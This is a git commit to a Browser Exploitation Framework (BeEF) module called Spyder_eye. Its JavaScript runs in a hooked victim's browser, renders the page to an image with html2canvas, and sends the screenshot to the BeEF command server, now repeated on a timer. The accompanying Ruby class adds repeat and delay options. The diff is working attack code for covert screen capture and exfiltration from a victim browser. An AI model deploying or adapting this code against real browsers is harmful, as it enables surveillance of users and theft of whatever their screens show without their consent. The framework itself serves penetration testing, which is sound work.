Working on repeated snapshot taking. At the moment, this will result in multiple screenshots being stored in the file system, but the module will present only the most recent one in WebGUI. Which is not exactly what I wanted to accomplish

This commit is contained in:
mgeeky
2016-04-14 16:14:33 +02:00
parent ad4cb31864
commit ae2488e7bd
2 changed files with 20 additions and 3 deletions

View File

@@ -6,18 +6,27 @@
beef.execute(function() {
takeit = function() {
var takes = parseInt('<%= @repeat %>') || 1;
var delay = parseInt('<%= @delay %>') || 0;
snap = function(num) {
try {
html2canvas(document.body).then(function(canvas) {
var d = canvas.toDataURL('image/png');
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'image=' + d );
});
}
catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
beef.net.send('<%= @command_url %>', <%= @command_id %> + num, 'result=Obtaining snapshot failed: ' + e.message);
}
};
takeit = function() {
for(var i = 0; i < takes; i++) {
setTimeout(snap(i), delay);
}
};
if (typeof html2canvas == "undefined") {
var script = document.createElement('script');
script.type = 'text/javascript';
@@ -29,4 +38,5 @@ beef.execute(function() {
else {
takeit();
}
});

View File

@@ -6,6 +6,13 @@
class Spyder_eye < BeEF::Core::Command
require 'base64'
def self.options
return [
{ 'ui_label'=>'Repeat', 'name'=>'repeat', 'description' => 'Number of snapshot to take.', 'value'=>'1', 'width'=>'80px' },
{ 'ui_label'=>'Delay', 'name'=>'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.', 'value'=>'3000', 'width'=>'80px' },
]
end
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js')
end